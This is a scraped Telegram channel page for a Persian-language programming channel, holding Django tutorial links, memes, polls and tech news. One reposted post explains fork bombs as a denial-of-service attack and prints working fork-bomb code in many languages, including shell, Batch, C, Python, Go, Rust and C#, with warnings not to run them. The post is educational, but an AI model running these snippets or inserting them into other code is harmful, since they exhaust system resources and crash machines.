ch
Feedback
Fara Code | برنامه نویسی

Fara Code | برنامه نویسی

前往频道在 Telegram

جایی که صفر و یک‌ها خوش می‌گذره! 📘 books & codes 🧠 tips & tricks 🎉 fun for devs 👥 group: @FaraCodeGp 🧑‍💻 admin: @worlddhello

显示更多
3 167
订阅者
+124 小时
+77
+3930
帖子存档
استاد جادی یک ویدیو جالب در مورد زبان برنامه نویسی جدید موجو که خیلی سر و صدا کرده، گذاشته که حتما توصیه میکنم ببینید. www.instagram.com/reel/Cwh-RwJv7FL/?igshid=MmU2YjMzNjRlOQ== @Learrning_Python @python_develops

Repost from « FaraTech »
⚠️هشدار : قبل از کامل خوندن پست، هیچکدوم از کد هارو اجرا نکنید ⚠️ فورک بمب (forkbomb) چیه؟ فورک بمب یه نوع حمله محرومیت از سرویس (DoS) هست که در اون یه فرآیند به طور مداوم اقدام به کپی‌برداری از خودش می‌کنه و به این ترتیب منابع سیستم رو مصرف میکنه، که باعث آهسته شدن و در نهایت از کار افتادن سیستم می‌شه. نحوه کارکرد فورک بمب‌ها هم به این صورت هست که همزمان هم پردازنده رو اشغال می‌کنن و هم جدول فرایندهای سیستم‌عامل رو اشباع می‌کنن. میشه با ایجاد کردن یه فرآیند جدید تو یه حلقه بی‌نهایت به آسونی یه فورک بمب ساده ساخت. مثلا یه نمونه از کد فورک بمب تو شل‌اسکریپت به صورت زیر هست: :(){:|:&};: این کد یه تابع رو تعریف می‌کنه که خودش رو به صورت بازگشتی فراخوانی می‌کنه. هر بار که این تابع فراخوانی میشه، یه فرآیند جدید ایجاد می‌شه. بنابراین، با اجرای این کد، یه فرآیند جدید به طور مداوم در حال ایجاد شدن هست و این باعث می‌شه که سیستم از کار بیفته. این یکی از دلایلی هست که میگن هر کدی که تو اینترنت پیدا کردین تا درکش نکردین اجرا نکنین. خب، مثال هایی از فورک بمب تو زبان‌های مختلف میزارم براتون : ★ Bash Script : #!/bin/bash ./$0|./$0& ⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏ ★ Batch (windows) : %0|%0 ⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏ ★ C : #include <stdio.h> #include <sys/types.h> int main() { while(1) fork(); return 0; } ⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏ ★ Dart : import'dart:isolate'; class f{ static k(o){ f(); } f(){ for(;;) Isolate.spawn(k,0); } } main(){ f(); } ⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏ ★ C++ : #include <cstdlib> int main(int argc, char **argv) { while (1) system(argv[0]); return 0; } ⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏ ★ Golang : package main func main() { for { go main() } } ⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏ ★ JavaScript : <html> <body> <script> setInterval(function() { var w = window.open(); w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML); }, 10); </script> </body> </html> ⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏ ★ Python : import os while 1: os.fork() ⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏ ★ Shell Script : #!/bin/sh :(){ :|: & };: ⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏ ★ Rust : #[allow(unconditional_recursion)] fn main() { std::thread::spawn(main); main(); } ⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏ Code by @WilsonWeberC# : while (true) { Process.Start(Assembly.GetExecutingAssembly().Location); } ⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏ کافیه این کد هارو تو یه فایل ذخیره و اجرا کنین، تا ببین چجوری منابع سیستمتون مصرف می‌شه و سیستم کرش می‌کنه🙃 البته، فایل HTML رو اگه اجرا کنین احتمالا بعد چند ثانیه جلوش گرفته می‌شه و نمیزاره صفحات بیشتری باز کنه و موجب کرش بشه، حداقل تو فایرفاکس که اینطوریه. لطفا اجرا نکنین، فقط خواستم بگم بدونین که چقدر کدهایی که نمیدونین چیکار می‌کنن، میتونن خطرناک باشن(هر چند این که یه کد سادست، ولی کد های خطرناک‌تری هم هست) پ.ن : اگه اشتباهی تو کدها بود هم بگین تصحیح کنم، تشکر❤️ @ProDev_Channel

🔅 آموزش جنگو قسمت: 32 بستون ۳۲ - به روز رسانی خبرها در هربار ورود به صفحه 🔻آموزش جنگو قسمت اول #جنگو #django 🆔@Learrning_Python

زندگی برنامه نویسان🙂👨‍💻 @Learrning_Python
زندگی برنامه نویسان🙂👨‍💻 @Learrning_Python

گوگل لنز برای کاربران ایرانی رفع تحریم میشود. ( منبع ) @Learrning_Python

کدوم یکی از گزینه های زیر رو دوست دارید یاد بگیرید؟
Anonymous voting

sticker.webp0.26 KB

پایتون در چه حدی بلد هستید؟
Anonymous voting

Repost from Python Hints
امکان نداره شما پروژه پایتونی رو کد بزنید و اطلاعات درست پروژه رو ندید
Readme.md

حداقل باید شامل ۳ مورد باشه : ۱- سیستم عاملی که روش کد زدید یا تست گرفتید : OS: Ubuntu 20.04 ۲- ورژن پایتونی که دارید استفاده می‌کنید: Python: CPython 3.10.12 پایتون نسخه‌های مختلفی داره اگر از نسخه سایت python.org استفاده می‌کنید به اسم CPython شناخته می‌شه (توی شرکت‌هایی که از نسخه‌های دیگه مثل IronPython - Pypy - IntelPython استفاده می‌کنند رعایت این نکته بسیار مهم هست) ۳- دستور اصلی به جهت اجرای پروژه : $ python main.py —help فقط تحت ۱ شرابط حق دارید ۲ مورد اول رو جایی گزارش نکنید و کسی هم بهتون سخت نگیره (هرچند بازم خوب نیست ولی خب) : Docker اگر Dockerfile یا docker image استفاده می‌کنید توی پروژه می‌تونید به ترتیب هر ۳ مورد یا ۲ مورد اول رو توی گزارش ننویسید.

محبوب‌ترین محیط‌های توسعه‌برای‌برنامه‌نویسان💻 ⭐️ به‌ترتیب Vscode VisualStadio PyCharm intellij idea Notepad ++ Vim Jupiter Notebook Sublime Text 🟢 آمار بر اساس استک‌اورفلو هست. @Learrning_Python @python_develops

🔅 آموزش جنگو قسمت: 31 بستون ۳۱ - نمایش خرج ها و درآمدهای قبلی در اپ آیونیک 🔻آموزش جنگو قسمت اول #جنگو #django برنامه نویسی پایتون 🆔@Learrning_Python

وقتایی‌که قراره با فاز #هکری کد‌بزنی پلی کن #music @Learrning_Python

فشرده سازی فایل ها با پایتون📁🐍 #پایتون #آموزش @Learrning_Pythom @python_develops
فشرده سازی فایل ها با پایتون📁🐍 #پایتون #آموزش @Learrning_Pythom @python_develops

استوری‌های تلگرام برای کاربران ایران فعلا منتشر نمیشه ❌ برای کاربران در کشور های روسیه ،اندونزی ، اوکراین ، ازبکستان و هند نی
استوری‌های تلگرام برای کاربران ایران فعلا منتشر نمیشه ❌ برای کاربران در کشور های روسیه ،اندونزی ، اوکراین ، ازبکستان و هند نیز هنوز امکان ارسال استوری فعال نشده ❗️ @Learrning_Python

رفقا ری‌اکشن ها خیلی کمه زیر پستا 🫠💔

🔻وزیر ارتباطات: 🔹به زودی اینترنت با سرعت چندصد مگابایت بر ثانیه در چند شهر در اختیار مردم قرار خواهد گرفت.😐 نظرتون چیه؟ @Learrning_Python @python_develops

پادکست های فارسی برنامه نویسی🎙 🔹راکت کست 🔸سورس ایران 🔹رادیو فول استک 🔸سون لرن 🔹فرانت کست 🔸رادیو گیگ #پادکست #برنامه‌نویسی @Learrning_Python @python_develops

سرعت تغییر مود برنامه نویسا بعد از باگ😂😁 #fun #فان @Learrning_Python @python_develops

تفاوت زبان های مفسری و کامپایلری #پایتون #مفسری #کامپایل @Learrning_Python @python_develops
تفاوت زبان های مفسری و کامپایلری #پایتون #مفسری #کامپایل @Learrning_Python @python_develops

برنامه نویس : ولی روی سیستم من کار میکنه. تستر: درسته ولی قرار نیست سیستم شمارو بدیم دست مشتری. 😂 #fun #فان @Learrning_Python @python_develops

Fara Code | برنامه نویسی - Telegram 频道 @faracoding 的统计与分析